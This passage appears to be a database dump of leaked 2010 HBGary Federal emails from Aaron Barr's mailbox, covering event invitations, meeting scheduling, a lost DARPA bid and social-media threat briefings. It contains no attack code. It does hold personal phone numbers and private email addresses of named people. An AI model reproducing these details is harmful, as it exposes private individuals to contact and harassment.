(bio)\r\n        Technical Director\r\n        Global \r\n        Information Grid Enterprise Services\r\n        Defense Information Systems Agency (DISA)\r\n      Kevin \r\n        M. Plexico \r\n        (bio) \r\n        \r\n        Executive Vice President, Operations\r\n        INPUT\r\n      Register \r\n        to Attend or Sponsor a Table\r\n        (as always, Gratis to Gov/Mil employees)\r\n      CURRENT \r\n        TABLE SPONSORS\r\n      \r\n        FGM, \r\n          Inc.\r\n        Femme \r\n          Comp, Inc.\r\n        Integrated \r\n          Secure \r\n        Layer \r\n          7 Technologies, Inc.\r\n        Taylor-Oden \r\n          Enterprises, Inc.\r\n        Trace \r\n          Systems, Inc.\r\n      \r\n      PONSORSHIP \r\n        &amp; BENEFITS -- Corporate Table Sponsor \r\n        -- $300\r\n      \r\n        Table \r\n          sponsorship - placement up front\r\n          (4 attendees from your company &amp; 4 other AFCEA NOVA guests placed \r\n          randomly by AFCEA NOVA)\r\n        Logo \r\n          on event website\r\n        Logo \r\n          on event marketing emails\r\n        Logo \r\n          on event program\r\n        Sign-up \r\n          to Sponsor a Table at the Breakfast\r\n      \r\n      DETAILS\r\n      WHEN:\r\n        Tuesday, \r\n        June 22, 2010\r\n        7:00am - Check-In &amp; Reception\r\n        7:30am - Seating &amp; Breakfast Served\r\n        8:00am - Speaker Presentations\r\n        9:15am - Program Concludes\r\n      \r\n        WHERE:\r\n        Sheraton Premiere at Tysons Corner\r\n        8661 Leesburg Pike\r\n        Vienna, Virginia 22180\r\n      \r\n        COST:\r\n        Industry Member Pre-Registered -- $35\r\n        Industry Non-member Pre-Registered -- $40\r\n        Industry Member Walk-in -- $40 (if space is available)\r\n        Industry Non-member Walk-in -- $45 (if space is available)\r\n        Government Reservations -- Gratis (but we need you to pre-register to \r\n        attend)\r\n      It is not \r\n        necessary to be a member of AFCEA to attend the small business breakfasts... \r\n        But once you come to an event, we think you\'ll want to join us!\r\n      Register \r\n        to Attend or Sponsor a Table\r\n        (as always, Gratis to Gov/Mil employees)\r\n    \r\n    \r\n    \r\n       \r\n         \r\n      \r\n         \r\n          \r\n               \r\n                AFCEA \r\n                    NOVA UpComing Events\r\n                  \r\n              \r\n            \r\n        \r\n         \r\n          \r\n               \r\n                \r\n                    \r\n                    Family Day &amp; Special Aviation Fly-In at the Smithsonian \r\n                    Udvar-Hazy Center\r\n                  Smithsonian \r\n                    Air &amp; Space Museum, Udvar-Hazy Ctr, Dulles, VA,\r\n                    Jun 19 (Sat), 2010\r\n                    \r\n                   \r\n                    \r\n              \r\n               \r\n                \r\n                    \r\n                     NEW DATE: Small Business Breakfast - DISA \r\n                    GIG Enterprise Services (GES)\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Jun 22 (Tue), 2010\r\n                    \r\n                  \r\n                   \r\n                    \r\n              \r\n               \r\n                \r\n                    \r\n                    2nd Annual \r\n                    Warfighter Support AGENCIES IT DAY\r\n                    (formerly Combat Support IT Day)\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Jul 15 (Thu), 2010\r\n                    \r\n                    \r\n                  \r\n                    \r\n              \r\n               \r\n                All \r\n                    Upcoming events...\r\n                    \r\n              \r\n            \r\n        \r\n       \r\n      \r\n    \r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n      Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n      U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n      email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n  \r\n\r\n \r\n  Management Consulting and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n',13279,'aaron_hbgary_com/13279.html'),(7512,'2010-06-18','\"Scott Pease\" <scott@hbgary.com>','/aaron@hbgary.com/new/1297005623.M400440P14101Q2367.eml','all@hbgary.com','Out of Office Tomorrow (6/18/2010)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\nI will be on vacation tomorrow and back in the office\r\nMonday. Michael Snyder will be in charge of the engineering team in my absence.\r\nYou can try to reach me on my cell phone, but am unsure of cell reception where\r\nwe will be camping.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\nScott\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5928,'aaron_hbgary_com/5928.html'),(7513,'2010-06-18','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297005623.M695349P14101Q2368.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','SecDev - Meeting in Washington area - June 23 (Wednesday)','Dear Aaron,I hope all is well with you and the team at HBGary. Rafal and I were hoping to make it down to Washington next week, Wednesday June 23, and to meet with you and your colleagues. Would you be available that day, and if so at what times?Best wishes,ArnavArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n',410,'aaron_hbgary_com/410.html'),(7514,'2010-06-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005624.M301235P14101Q2370.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>,\"Arnav Manchanda\" <a.manchanda@secdev.ca>','Re: SecDev - Meeting in Washington area - June 23 (Wednesday)','Hi Arnav,Sounds great.  I have a meeting in Chantilly from 10-11, so how about the afternoon?AaronSent from my iPad\r\nOn Jun 17, 2010, at 10:47 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:Dear Aaron,I hope all is well with you and the team at HBGary. Rafal and I were hoping to make it down to Washington next week, Wednesday June 23, and to meet with you and your colleagues. Would you be available that day, and if so at what times?\r\nBest wishes,Arnav\r\n\r\n\r\nArnav Manchanda\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBusiness Capture &amp; AnalyticsThe SecDev Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O&#39;Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice: +1 (613) 755-4007\r\nCell:  +1 (613) 806-4081E-mail: a.manchanda@secdev.ca \r\nThis email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\nConsider the environment. Please don&#39;t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n',3902,'aaron_hbgary_com/3902.html'),(7515,'2010-06-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005624.M565592P14101Q2371.eml','\"Turner, Stephen W CPT MIL USA\" <stephen.w.turner@us.army.mil>','Re: Social Media Brief (UNCLASSIFIED)','CPT Turner,\r\n\r\nAbsolutely.  I am down at the FIRST conference and don\'t have it with\r\nme but I will send it when I get back.  A few questions.\r\n\r\nI am thinking of developing a training curriculum to help people and\r\norganizations understand the threats of social networks and related\r\ntechnologies and what can be done to improve exposure of information.\r\nDo you think that would be of interest to organizations as a service?\r\n\r\nSecond, any interest in getting together and discussing how we\r\nincorporate this knowledge, our malware analysis capability with some\r\npartner technology such as Fidelis.  If it\'s ok I will forward to you\r\na datasheet for you to review.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 17, 2010, at 2:04 PM, \"Turner, Stephen W CPT MIL USA\"\r\n wrote:\r\n\r\n> Classification: UNCLASSIFIED\r\n> Caveats: FOUO\r\n>\r\n> Mr. Barr,\r\n>    I\'m CPT Steve Turner from 1st IO Command. I attended your brief at\r\n> the REBL Symposium the other day and wanted to know if I could get a\r\n> digital copy. It was really good and hit on a majority of the topics my\r\n> team works with. Thanks\r\n>\r\n> V/R\r\n>\r\n> CPT Steve Turner\r\n>\r\n> Classification: UNCLASSIFIED\r\n> Caveats: FOUO\r\n>\r\n>\r\n',6961,'aaron_hbgary_com/6961.html'),(7516,'2010-06-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005624.M66565P14101Q2369.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,,','Re: UPDATE: DARPA Cyber Genome Technical Area #1','Yes 29th.  Let\'s have a losers lunch!\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 17, 2010, at 2:47 PM, \"Starr, Christopher H.\"\r\n wrote:\r\n\r\n> Just to let everyone know, we are scheduled to have our Cyber Genome Technical Area #1 debriefing with DARPA on Tuesday, June 29.  I will let everyone know what we learn.\r\n>\r\n> Aaron and Anita, do you have a scheduled debriefing day yet?\r\n>\r\n> Chris\r\n>\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Starr, Christopher H.\r\n> Sent: Thursday, May 20, 2010 4:34 PM\r\n> To: Aaron Barr; Phil Porras; Anita D\'Amico; Irby Thompson\r\n> Subject: DARPA Cyber Genome Technical Area #1\r\n>\r\n> Unfortunately we have received news that our DARPA Cyber Genome Technical Area #1 Proposal did not receive funding.\r\n>\r\n> We will learn more during the DARPA debrief and I will share what we learn with everyone.\r\n>\r\n> I want to thank everyone for the incredible effort associated with the DARPA Cyber Genome proposals.  We created a great team and I am looking forward to finding other near-term partnership opportunities to work together.\r\n>\r\n> My great appreciation again,\r\n>\r\n> Chris\r\n>\r\n',7331,'aaron_hbgary_com/7331.html'),(7517,'2010-06-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005624.M794964P14101Q2372.eml','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','Re: REBL','Dave,\r\n\r\nAbsolutely.  I am down at the FIRST conference and don\'t have it with\r\nme but I will send it when I get back.  A few questions.\r\n\r\nI am thinking of developing a training curriculum to help people and\r\norganizations understand the threats of social networks and related\r\ntechnologies and what can be done to improve exposure of information.\r\nDo you think that would be of interest to organizations as a service?\r\n\r\nSecond, any interest in getting together and discussing how we\r\nincorporate this knowledge, our malware analysis capability with some\r\npartner technology such as Fidelis.  If it\'s ok I will forward to you\r\na datasheet for you to review.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 17, 2010, at 8:12 AM, \"Merritt, David CTR OSD CIO\"\r\n wrote:\r\n\r\n> Aaron,\r\n>\r\n> Can I get a copy of the presentation you and Greg gave at Johns Hopkins this week?\r\n>\r\n> Dave\r\n>\r\n> Haze gray and under way make a fine Navy day...\r\n> --------------------------\r\n> David D. Merritt, CISSP, CISM, ITIL\r\n> Office of the Secretary of Defense\r\n> 703.699.3568\r\n',2909,'aaron_hbgary_com/2909.html'),(7518,'2010-06-18','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','/aaron@hbgary.com/new/1297005625.M39637P14101Q2373.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Re: REBL','Look for a briefing from SAIC called Killing with Keyboards. Its targeted to the military industrial base, but it has a good message.\r\n\r\nMy background includes MCI, RSA, Pentasafe, as well as being a former 163x. One thing I remember is in the private sector (as you most likely has seen), the attitude is that of extreme reactive--we aren\'t going to spend money unless we really really have to...either through a breach or compliance to governance/regulation. When you can show the exfiltration, they then see the light.\r\n\r\nWhen the DTM came out opening access to SNSs, we cringed and waited for the first of the breaches.\r\n\r\nI\'m surprised that people don\'t block pdfs with javascript. Then you just have to deal with user awareness. When I was at MCI we had a pro services offering of a quarterly security stand down to brief the employees. The hard part is user perception.--if you are doing thing right, how do you know its working (vs they weren\'t being manipulated)..\r\n\r\nI live in Reston. Maybe we need to get together for a few beers.\r\n\r\nRich Cummings was by to brief us a month or so ago.\r\n\r\nTwo techs I like is yours and palintar...but we are low on budget right now.\r\n\r\nWhat you might consider is the \"embedded analyst\" like palintar has. That way the customer has \"0 day\" engagement capability.\r\n\r\nDave\r\n--------------------------\r\nDavid D. Merritt, CISSP, CISM, ITIL\r\nOffice of the Secretary of Defense\r\n703.699.3568\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: Merritt, David CTR OSD CIO\r\nSent: Fri Jun 18 07:23:05 2010\nSubject: Re: REBL\r\n\r\nDave,\r\n\r\nAbsolutely.  I am down at the FIRST conference and don\'t have it with\r\nme but I will send it when I get back.  A few questions.\r\n\r\nI am thinking of developing a training curriculum to help people and\r\norganizations understand the threats of social networks and related\r\ntechnologies and what can be done to improve exposure of information.\r\nDo you think that would be of interest to organizations as a service?\r\n\r\nSecond, any interest in getting together and discussing how we\r\nincorporate this knowledge, our malware analysis capability with some\r\npartner technology such as Fidelis.  If it\'s ok I will forward to you\r\na datasheet for you to review.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 17, 2010, at 8:12 AM, \"Merritt, David CTR OSD CIO\"\r\n wrote:\r\n\r\n> Aaron,\r\n>\r\n> Can I get a copy of the presentation you and Greg gave at Johns Hopkins this week?\r\n>\r\n> Dave\r\n>\r\n> Haze gray and under way make a fine Navy day...\r\n> --------------------------\r\n> David D. Merritt, CISSP, CISM, ITIL\r\n> Office of the Secretary of Defense\r\n> 703.699.3568\r\n',4082,'aaron_hbgary_com/4082.html'),(7519,'2010-06-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005628.M194272P14101Q2374.eml','\"David CTR OSD CIO Merritt\" <David.Merritt.ctr@osd.mil>','Datasheet','Here\'s the datasheet I mentioned.  We specifically partnered with\r\nPalantir and Fidelis for incident response and threat intelligence.\r\nYeah a beer or two sounds good.\r\n',6202,'aaron_hbgary_com/6202.html'),(7520,'2010-06-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005628.M719357P14101Q2375.eml','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','Re: Information','I didn\'t answer this.  How about the 7th.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 16, 2010, at 11:23 AM, \"Robinson, Cassie\"\r\n wrote:\r\n\r\n> Hey Aaron -- Early July dates that work for lunch with Tom\r\n>\r\n> 7 Jul\r\n> 9 Jul\r\n> 15 Jul\r\n> 16 Jul\r\n>\r\n> Do any of those dates work for you?\r\n>\r\n> Thanks much\r\n>\r\n> csr\r\n>\r\n> -----Original Message-----\r\n> From: Conroy, Thomas W.\r\n> Sent: Wednesday, June 16, 2010 11:16 AM\r\n> To: \'Aaron Barr\'\r\n> Cc: Robinson, Cassie\r\n> Subject: RE: Information\r\n>\r\n> Sounds like a good idea Aaron.  It\'s been too long.  Hope you\'re doing\r\n> well and business is picking up.  Any word on that DARPA contract you\r\n> were seeking?\r\n> Sluggish is a good characterization.  It\'s very puzzling to me.  I\'m\r\n> going out to NSA later this week to meet with a friend who is working in\r\n> CYBERCOM.  Maybe I\'ll actually have some information worth sharing.\r\n> Cassie, will you please see if we can schedule a get together?\r\n>\r\n> Tom\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, June 16, 2010 9:20 AM\r\n> To: Conroy, Thomas W.\r\n> Subject: Information\r\n>\r\n> Hi Tom,\r\n>\r\n> I hope all is well.  I had dinner with Kathy and a bunch of other cyber\r\n> folks last night as part of the  cyber group chaired by Bill Varner.  I\r\n> was a bit of an odd ball in that I don\'t own significant cyber business\r\n> but hope to be able to contribute in other ways.\r\n>\r\n> Anyway, last time we met you mentioned there was someone you thought I\r\n> should meet, but requested some information.  Attached is our data sheet\r\n> for our offerings in information security services as well as a link to\r\n> my professional profile and a recent interview.\r\n>\r\n> Maybe we can get together for lunch again in early July if your around?\r\n> I would love to get your thoughts on cyber command and the sluggishness\r\n> that continues around cyber.\r\n>\r\n> http://www.linkedin.com/in/aaronbarr3\r\n>\r\n> http://www.thenewnewinternet.com/2010/06/02/aaron-barr-computer-security\r\n> -is-a-hunt-an-investigation-it\'s-a-challenge/\r\n',15501,'aaron_hbgary_com/15501.html'),(7521,'2010-06-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005629.M52071P14101Q2376.eml','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','Re: Information','Great.\r\n\r\nWe didn\'t win the DARPA work.  I am getting a debrief on the 29th.  I\r\nwill send you a copy of our datasheet we are marketing for incident\r\nresponse, threat intelligence, and information operations.  Business\r\nis starting to pick up a little but it\'s slow.  We are focusing on the\r\nshort term engagement work which has more movement right now.\r\n\r\nI am taking a guess the stagnation is due to way to much\r\norganizational activity.  CyberCOM stood up, 40 bills in congress\r\nrelated to cyber, new DNI, new cyber czar.  Who is going to stick\r\ntheir neck out and act when they are unsure of the playing field.\r\nIt\'s seems caution is prevailing unfortunately.\r\n\r\nI gave a talk at the NSA REBL conference on tuesday on social\r\nnetworking, exploitation, and persistent Internet operations that\r\nseemed to have gone very well.  I think I may try to develop some\r\ntraining curriculum for it.  It\'s the new wild west, so much data out\r\ntheir to harvest legitimately and their is no technology currently\r\nthat can manage organizational exposure, no one really consulting\r\naround the problem either.  OSD recently directed open access to\r\nsocial networks because of fear of loosing young talent.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 16, 2010, at 11:16 AM, \"Conroy, Thomas W.\"  wrote:\r\n\r\n> Sounds like a good idea Aaron.  It\'s been too long.  Hope you\'re doing\r\n> well and business is picking up.  Any word on that DARPA contract you\r\n> were seeking?\r\n> Sluggish is a good characterization.  It\'s very puzzling to me.  I\'m\r\n> going out to NSA later this week to meet with a friend who is working in\r\n> CYBERCOM.  Maybe I\'ll actually have some information worth sharing.\r\n> Cassie, will you please see if we can schedule a get together?\r\n>\r\n> Tom\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, June 16, 2010 9:20 AM\r\n> To: Conroy, Thomas W.\r\n> Subject: Information\r\n>\r\n> Hi Tom,\r\n>\r\n> I hope all is well.  I had dinner with Kathy and a bunch of other cyber\r\n> folks last night as part of the  cyber group chaired by Bill Varner.  I\r\n> was a bit of an odd ball in that I don\'t own significant cyber business\r\n> but hope to be able to contribute in other ways.\r\n>\r\n> Anyway, last time we met you mentioned there was someone you thought I\r\n> should meet, but requested some information.  Attached is our data sheet\r\n> for our offerings in information security services as well as a link to\r\n> my professional profile and a recent interview.\r\n>\r\n> Maybe we can get together for lunch again in early July if your around?\r\n> I would love to get your thoughts on cyber command and the sluggishness\r\n> that continues around cyber.\r\n>\r\n> http://www.linkedin.com/in/aaronbarr3\r\n>\r\n> http://www.thenewnewinternet.com/2010/06/02/aaron-barr-computer-security\r\n> -is-a-hunt-an-investigation-it\'s-a-challenge/\r\n',5291,'aaron_hbgary_com/5291.html'),(7522,'2010-06-18','\"Charlie Scuilla\" <charlie@scuilla.com>','/aaron@hbgary.com/new/1297005631.M735557P14101Q2377.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,','URGENT Contact','Aaron\r\n\r\n- I have opened Monday (anytime) for you to visit our office.  Please  \r\nlet me know what time you plan on arriving.\r\n\r\n\r\n\r\nLooking forward to meeting you,\r\n\r\nCharlie\r\n\r\n\r\nOn Jun 14, 2010, at 10:34 AM, Aaron Barr wrote:\r\n\r\n> No Problem.  How is your schedule on Monday?  I will be down in  \r\n> Miami the rest of the week for the FIRST conference.\r\n>\r\n> Aaron\r\n>\r\n> On Jun 14, 2010, at 10:32 AM, Charlie Scuilla wrote:\r\n>\r\n>> Aaron:\r\n>>\r\n>> I have a home emergency today - I will not be in the office today  \r\n>> or tomorrow (let\'s shoot for Wednesday or Thursday?).\r\n>>\r\n>> Charlie\r\n>>\r\n>>\r\n>> Begin forwarded message:\r\n>>\r\n>>> From: Aaron Barr \r\n>>> Date: June 11, 2010 6:48:00 AM EDT\r\n>>> To: \"charlie@iomaxis.com\" \r\n>>> Subject: Contact\r\n>>>\r\n>>> Aaron@HBGary.com\r\n>>> 7195108478\r\n>>>\r\n>>> Aaron\r\n>>> Sent from my iPad\r\n>>\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n\r\n',11829,'aaron_hbgary_com/11829.html'),(7523,'2010-06-18','\"Mail Delivery Subsystem\" <mailer-daemon@googlemail.com>','/aaron@hbgary.com/new/1297005632.M246417P14101Q2379.eml','aaron@hbgary.com','Delivery Status Notification (Failure)','Delivery to the following recipient failed permanently:\r\n\r\n     bob.slapnik@hbgary.com\r\n\r\nTechnical details of permanent failure: \r\nGoogle tried to deliver your message, but it was rejected by the recipient domain. We recommend contacting the other email provider for further information about the cause of this error. The error that the other server returned was: 550 550-5.1.1 The email account that you tried to reach does not exist. Please try\r\n550-5.1.1 double-checking the recipient\'s email address for typos or\r\n550-5.1.1 unnecessary spaces. Learn more at                             \r\n550 5.1.1 http://mail.google.com/support/bin/answer.py?answer=6596 h5si22222925wal.142 (state 14).\r\n\r\n----- Original message -----\r\n\r\nReceived: by 10.143.153.9 with SMTP id f9mr870841wfo.29.1276874582717; Fri, 18 \r\n	Jun 2010 08:23:02 -0700 (PDT)\r\nFrom: Aaron Barr \r\nMime-Version: 1.0 (iPad Mail 7B367)\r\nDate: Fri, 18 Jun 2010 11:22:54 -0400\r\nMessage-ID: \r\nSubject: Re: URGENT Contact\r\nTo: Charlie Scuilla \r\nCc: Brad Buhr , Greg Furst , \r\n	\"trey@iomaxis.com\" , Bob Siapnik \r\nContent-Type: text/plain; charset=ISO-8859-1\r\n\r\nGreat.  How about 2pm.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 18, 2010, at 11:01 AM, Charlie Scuilla  wrote:\r\n\r\n> Aaron\r\n>\r\n> - I have opened Monday (anytime) for you to visit our office.  Please\r\n> let me know what time you plan on arriving.\r\n>\r\n>\r\n>\r\n> Looking forward to meeting you,\r\n>\r\n> Charlie\r\n>\r\n>\r\n> On Jun 14, 2010, at 10:34 AM, Aaron Barr wrote:\r\n>\r\n>> No Problem.  How is your schedule on Monday?  I will be down in\r\n>> Miami the rest of the week for the FIRST conference.\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Jun 14, 2010, at 10:32 AM, Charlie Scuilla wrote:\r\n>>\r\n>>> Aaron:\r\n>>>\r\n>>> I have a home emergency today - I will not be in the office today\r\n>>> or tomorrow (let\'s shoot for Wednesday or Thursday?).\r\n>>>\r\n>>> Charlie\r\n>>>\r\n>>>\r\n>>> Begin forwarded message:\r\n>>>\r\n>>>> From: Aaron Barr \r\n>>>> Date: June 11, 2010 6:48:00 AM EDT\r\n>>>> To: \"charlie@iomaxis.com\" \r\n>>>> Subject: Contact\r\n>>>>\r\n>>>> Aaron@HBGary.com\r\n>>>> 7195108478\r\n>>>>\r\n>>>> Aaron\r\n>>>> Sent from my iPad\r\n>>>\r\n>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>\r\n> \r\n> \r\n',2345,'aaron_hbgary_com/2345.html'),(7524,'2010-06-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005632.M32438P14101Q2378.eml','\"Charlie Scuilla\" <charlie@scuilla.com>,\"Charlie Scuilla\" <charlie@scuilla.com>,,,','Re: URGENT Contact','Great.  How about 2pm.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 18, 2010, at 11:01 AM, Charlie Scuilla  wrote:\r\n\r\n> Aaron\r\n>\r\n> - I have opened Monday (anytime) for you to visit our office.  Please\r\n> let me know what time you plan on arriving.\r\n>\r\n>\r\n>\r\n> Looking forward to meeting you,\r\n>\r\n> Charlie\r\n>\r\n>\r\n> On Jun 14, 2010, at 10:34 AM, Aaron Barr wrote:\r\n>\r\n>> No Problem.  How is your schedule on Monday?  I will be down in\r\n>> Miami the rest of the week for the FIRST conference.\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Jun 14, 2010, at 10:32 AM, Charlie Scuilla wrote:\r\n>>\r\n>>> Aaron:\r\n>>>\r\n>>> I have a home emergency today - I will not be in the office today\r\n>>> or tomorrow (let\'s shoot for Wednesday or Thursday?).\r\n>>>\r\n>>> Charlie\r\n>>>\r\n>>>\r\n>>> Begin forwarded message:\r\n>>>\r\n>>>> From: Aaron Barr \r\n>>>> Date: June 11, 2010 6:48:00 AM EDT\r\n>>>> To: \"charlie@iomaxis.com\" \r\n>>>> Subject: Contact\r\n>>>>\r\n>>>> Aaron@HBGary.com\r\n>>>> 7195108478\r\n>>>>\r\n>>>> Aaron\r\n>>>> Sent from my iPad\r\n>>>\r\n>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>\r\n> \r\n> \r\n',4443,'aaron_hbgary_com/4443.html'),(7525,'2010-06-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005632.M464798P14101Q2380.eml','\"Sandy Barr\" <freelybe@hotmail.com>','Navy Federal Credit Union','Navy Federal Credit Union\r\n',3439,'aaron_hbgary_com/3439.html'),(7526,'2010-06-18','\"Charlie Scuilla\" <charlie@scuilla.com>','/aaron@hbgary.com/new/1297005632.M818386P14101Q2381.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: URGENT Contact','Aaron:\r\n\r\n2pm is fine.\r\n\r\nCharlie\r\n\r\nOn Jun 18, 2010, at 11:22 AM, Aaron Barr wrote:\r\n\r\n> Great.  How about 2pm.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n> On Jun 18, 2010, at 11:01 AM, Charlie Scuilla   \r\n> wrote:\r\n>\r\n>> Aaron\r\n>>\r\n>> - I have opened Monday (anytime) for you to visit our office.  Please\r\n>> let me know what time you plan on arriving.\r\n>>\r\n>>\r\n>>\r\n>> Looking forward to meeting you,\r\n>>\r\n>> Charlie\r\n>>\r\n>>\r\n>> On Jun 14, 2010, at 10:34 AM, Aaron Barr wrote:\r\n>>\r\n>>> No Problem.  How is your schedule on Monday?  I will be down in\r\n>>> Miami the rest of the week for the FIRST conference.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> On Jun 14, 2010, at 10:32 AM, Charlie Scuilla wrote:\r\n>>>\r\n>>>> Aaron:\r\n>>>>\r\n>>>> I have a home emergency today - I will not be in the office today\r\n>>>> or tomorrow (let\'s shoot for Wednesday or Thursday?).\r\n>>>>\r\n>>>> Charlie\r\n>>>>\r\n>>>>\r\n>>>> Begin forwarded message:\r\n>>>>\r\n>>>>> From: Aaron Barr \r\n>>>>> Date: June 11, 2010 6:48:00 AM EDT\r\n>>>>> To: \"charlie@iomaxis.com\" \r\n>>>>> Subject: Contact\r\n>>>>>\r\n>>>>> Aaron@HBGary.com\r\n>>>>> 7195108478\r\n>>>>>\r\n>>>>> Aaron\r\n>>>>> Sent from my iPad\r\n>>>>\r\n>>>>\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>\r\n>> \r\n>> \r\n>\r\n\r\n',740,'aaron_hbgary_com/740.html'),(7527,'2010-06-18','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297005633.M108827P14101Q2382.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: SecDev - Meeting in Washington area - June 23 (Wednesday)','Hi Aaron,That will work, most likely early afternoon. I\'ll confirm ASAP with a time that works best, since I have to check the travelling around part :)Best,Arnav\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\nOn 2010-06-18, at 6:54 AM, Aaron Barr wrote:Hi Arnav,Sounds great. &nbsp;I have a meeting in Chantilly from 10-11, so how about the afternoon?AaronSent from my iPad\r\nOn Jun 17, 2010, at 10:47 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:Dear Aaron,I hope all is well with you and the team at HBGary. Rafal and I were hoping to make it down to Washington next week, Wednesday June 23, and to meet with you and your colleagues. Would you be available that day, and if so at what times?\r\nBest wishes,Arnav\r\n\r\n\r\nArnav Manchanda\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O\'Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright 